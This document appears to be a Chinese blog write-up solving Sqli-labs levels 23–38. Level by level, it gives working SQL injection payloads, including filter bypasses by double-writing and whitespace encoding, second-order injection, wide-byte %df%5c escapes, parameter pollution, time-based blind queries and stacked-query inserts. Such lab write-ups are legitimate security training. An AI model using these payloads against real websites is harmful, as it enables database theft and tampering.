Sqli-labs less 22-less 38
0x01:前言
既然开始做,总得坚持下去
0x02:开始练习
23、Less 23
此关卡又变为了get传参,审计源码发现被过滤了#和--两个注释符
将$id的#和--删除
且sql语句对参数id做了单引号处理,现在如果继续注入且不用注释符的话,只需将后面的语句闭合即可,-1'闭合前面的单引号,'1闭合后面的单引号。
即 payload:?id=-1' order by 3, '1
后续命令见less 1,将sql查询内嵌到占位符即可
如:payload:?id=-1' union select 1,( select group_concat(schema_name) from information_schema.schemata ), '1
24、Less 24
二次注入
何为二次注入:二次排序注入也称为存储型的注入,就是将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入。
- 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
- 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
- 黑客向服务端发送第二个与第一次不相同的请求数据信息。
- 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
- 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。
这里有一个具象化的例子,就是注册账号和修改密码的过程。
这是users的原始表
我们注册一个账号
admin'#
123456
可见已经插入数据库
现在二次注入的条件一已经达成,也就是:已经有被构造好的sql语句放入数据库。
我们看一下源码注册功能
检查用户名是否重复,且插入语句未对特殊字符过滤,所以无论插入什么数据都是可行的,当然数据太长不行。
然后我们调用刚刚插入的sql语句,也就是登陆功能,这时实现的是条件二。
然后我们修改密码,此时服务端的语句为:
可见,当我们输入构造的账号admin'#后,语句变为了
然后用户admin就会被修改密码。
25、Less 25
本关主要为or and过滤
被过滤后的语句会回显到客户端
如何绕过or和and过滤。一般性提供以下几种思路:
大小写变形 Or,OR,oR
双写绕过 oorr
编码,hex,urlencode
添加注释/*or*/
利用符号 and=&& or=||
我们观察源码:
首先对id做了backlist()函数处理,使用正则匹配参数中的or和and,且使用了/i参数,也就是说忽略了大小写。所以无法使用大小写混合输入进行绕过。最简单的,可以双写绕过 oorr,正则只匹配一次,所以它会删掉中间的or,两边会拼接为新的or,所以可以绕过。经过测试发现&&和||无法使用。(这里我想说一下复制粘贴的那些人,真的没意思,既然文章都写了,那肯定表示已经做到这一关卡了,既然有时间写文章为什么不动手试一下呢,要想走得远点,只靠复制粘贴肯定不行的)
如 :?id=-1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata --+
这里需要注意的是,正则从获取到的字符串中搜索所有的关键字,所以即使information是一个单词,其中的or也会被匹配并剔除,所以只要存在or and 即需要增加payload绕过。
25a、Less 25a
此关卡同样过滤了or和and,但是过滤的方法是一样的,所以可以和Less25一样的方法绕过,但是由于Less 25a不会回显错误,所以不能使用报错注入,但是可以使用延时注入、布尔盲注和联合查询。
如: ?id=-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata --+
?id=1 aandnd if(ascii(substr(database(),1,1))=115,1,sleep(5)) -- +
26、Less 26
此关卡我们可以发现被过滤了or、and、空格、/*、/以及注释符。
此关卡回显过滤后的语句,所以通过fuzz可以得知过滤
我们观察源码:
\s表示任意的空白符
$id= preg_replace('/[\/\\]/',"", $id);作用是过滤反斜杠之所以需要四个反斜杠是因为php语法需求,因为这首先是php的字符串, 经过转义后, 是两个, 再经过正则表达式引擎后才被认为是一个原文反斜线。
对于绕过or and 的方法,Less25以及说明了,不再赘述,由于过滤了/* 和 反斜杠所以无法使用/*or*/,但是双写依然可以绕过,这里我们讲一下绕过空格的方法,绕过空格的方法比较多:
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
这里要注意的是,windows平台下的lamp环境无法解析上述符号,由于我的靶场搭建在ubuntu,所以没有这些问题。
解决了空格和连接符,现在只需将所有的单引号闭合即可。由于占位符只能放select的条件,所以需要将查询语句嵌入占位符。
payload:?id=0'%a0union%a0select%a01,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'),3%a0||%a0'1'='1
27、Less 26a
我们直接观察源码:
可见所过滤的规则和26是一样的,唯一不同的是查询语句
与26关不同的是,此关卡对参数id做了单引号括号处理,所以pyload与26相比只需将括号闭合掉即可。
payload: ?id=0')%a0union%a0select%a01,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'),3%a0||%a0'1'=('1
或者: ?id=0')%a0union%a0select%a01,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'),('3
28、Less 27
此关卡从提示即可看出对union,select,进行了屏蔽。
我们观察源码
/i 表示不区分大小写
/s 表示将字符串视为单行来匹配
/m (多行查找)
可见代码对union和select关键字进行了过滤,但是代码存在不小的缺陷,对于union关键字它既没有进行大小写去敏,也没有进行多行过滤。
而对于select关键字,虽然进行了preg_replace('/select/m',"", $id);
即对select进行多行过滤,但是其并未进行大小写去敏。
因此注入的payload只要大小写混合union、select关键字或者双写union绕过检测即可
payload:?id=0'%a0ununionion%a0sEleCt%a01,(sEleCt%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema='security'),'3
28、Less 27a
我们直接查看源代码
发现blacklist函数和27是一样的,与27的区别在于查询语句
且本关的错误不回显,所以可以使用延时注入
payload:?id=1"and%0aIf(ascii(substr((seLect%0acolumn_name%0afrom%0ainformation_schema.columns%0awhere%0atable_name='users'%0alimit%0a0,1),1,1))=85,1,sleep(5))%0aand%0a"1"="1
29、Less 28
我们还是直接查看源代码
\s表示任意的空白符
此关卡过滤了'union select' 这样的组合,且不分大小写,但是依旧可以使用特殊符号绕过,比如%a0
payload:?id=0')%a0union%a0sEleCt%a01,(sEleCt%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema='security'),('3
30、Less 28a
源码如下
可见过滤仅有一条,且与28一样,所以本关是无意义的,几乎与28相同,甚至难度低于28,所以payload与28相同。
31、Less 29
less29考察的是双服务器,所以只用lamp环境做是不符合题意的,所以需要搭建tomcat-java环境
即安装Java环境和tomcat即可
双服务器
如上图,
服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache 为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。
工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。
payload:index.php?id=1&id=2,这时回显是id=1还是id=2呢?应该是id=2的结果。
apache (php) 解析最后一个参数,即回显id=2;tomcat (jsp) 解析第一个参数,即回显id=1。
payload:index.jsp?id=1&id=2,如果我们尝试该payload,那么输出将会是怎样的呢,是id=1的结果还是id=2的结果呢,显而易见,应该还是id=2的结果。
由于真正提供查询服务的是apache服务器,所以返回的是id=2的数据,虽然index.jsp不存在sql注入,但是index.php是未做任何sql注入防护的,所以进行注入
首先我们要确认服务器,即测试:
发现跳转到了.jsp页面,查看源码可知,程序对输入的参数id做了类型判断,如果不是数字则输出waf页,即无法注入。
可以猜测是jsp后台,tomcat服务器,(当然图标也能看出来哈哈)
但是由于其双服务器的特性,当输入id=1&id=2时,输出结果将是id=2的结果
所以在第二个参数id尝试单引号报错
这里即可使用报错注入。
payload:?id=1&id=-1' union select 1,2,user() --+
32、Less 30
此关卡与less 29原理相同,只不过较之29的改变为,增加了双引号处理。
payload:?id=1&id=-1" union select 1,( select group_concat(schema_name) from information_schema.schemata ), 3 --+
33、Less 31
此关卡与less 29原理相同,只不过较之29的改变为,增加了双引号括号处理。
payload:?id=1&id=-1") union select 1,( select group_concat(schema_name) from information_schema.schemata ), 3 --+
34、Less 32
宽字节注入
原理:mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 \' (转换的函数或者思路会在每一关遇到的时候介绍)。
因此我们在此想办法将 ' 前面添加的 \ 除掉,一般有两种思路:
一:%df吃掉 \ 具体的原因是urlencode(') = %5c%27,我们在%5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字,此事%df%5c就是一个汉字,%27则作为一个单独的符号在外面,同时也就达到了我们的目的。
二:将 \' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27的情况,后面的%5c会被前面的%5c给注释掉。这也是bypass的一种方法。
我们观察源码:
这里使用正则将 / ' "三个符号进行转义,转义为\/ \' \",由于这些转义符在sql中相当于一个普通的字符串,所以并不能进行注入。因此使用宽字节注入将单引号逃逸出来即可进行注入。
payload:?id=-1%df%5c' union select 1,2,user() -- +
35、Less 33
相比less32,此关卡将过滤器变为了 addslashes() 函数
addslashes() 函数
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
包括:
- 单引号
'
- 双引号
"
- 反斜杠
\
- 空字符
NULL
所以较之上一关其实相当于没变化,所以payload相同
payload: ?id=-1%df%5c' union select 1,( select group_concat(schema_name) from information_schema.schemata ), 3 --+
36、Less 34
我们查看源码
依然是使用内置函数addslashes对单引号双引号空格斜杠进行转义
可见本关卡已经变为了post注入,由于get传参会将url编码转义,post则不可以,所以使用%df%5c的方法已经不行了,但是可以将 utf-8转换为utf-16或 utf-32 ,如 ' 转换为utf-16为 �' ,即可绕过
payload:uname=-1�' union select 1,( select group_concat(schema_name) from information_schema.schemata )#&passwd=1
这一关需要注意的是,如果你使用Firefox的hackbar进行构造post数据,它依然会变为url编码,所以建议使用burp修改数据
37、Less 35
本关卡为典型的数字型注入,由于不需要闭合单引号直接可以拼接语句,也就不用纠结单引号被转义了,但是后面在注入表的时候会用到单引号,这里就出现问题了,只能用database(),尝试使用16进制编码结果语句可以执行但是不回显数据,更不能使用gbk编码绕过...不看不知道,一看吓一跳,整个Sqli-labs都无法对数据库名进行16进制编码注入,也就是说无法使用以下payload
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x27736563757269747927
select语句如下:
payload:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() --+
38、Less 36
此关卡我们观察源码:
代码使用了 mysql_real_escape_string()函数进行过滤。
mysql_real_escape_string()函数
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
但是由于mysql并未设置为gbk编码,所以使用%df%5c即可绕过
payload:?id= -1%df%5c' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() --+
39、Less 37
此关卡由于使用的是 mysql_real_escape_string()函数,但是大体思路是一样的,依然使用utf-16绕过
payload:uname=-1�' union select 1,( select group_concat(schema_name) from information_schema.schemata )#&passwd=1
40、Less 38
堆叠注入
:顾名思义,堆叠注入也就是一堆sql语句进行执行。
我们知道在php中分号(;)代表一条代码完毕,此时在分号后便可以执行新的语句。那么sql中也是如此吗,答案是对的,确实可以。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。 而代码中的堆叠注入依靠函数 mysqli_multi_query() 函数实现,之前的sql查询使用的是 mysqli_query() 函数,而堆叠注入使用的则是 mysqli_multi_query() 函数实现,区别就在于 mysqli_multi_query() 函数可以执行多个sql语句,而 mysqli_query()只能执行一条sql语句。
如在控制台中:
可见,确实两个select都执行了,那么我们就可以利用堆叠注入对数据库进行增删改查。目前mysql、Postgresql数据库和SQL server是支持堆叠查询的。
但是,堆叠注入也是有局限性的, 堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,比如Oracle就不支持堆叠注入,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
而且这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。
因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。
所以我们现在来看本关,可以执行的操作,只包括增加账号,删除账号,删除表等操作。
payload:?id=1';insert into users(id,username,password) values ('38','less38','hello')-- +
0x03:结语
目前22-38关已经做完,在这些关卡我们掌握了bypass绕过某些过滤和堆叠注入,同时也get到不少绕过的技巧。再接再厉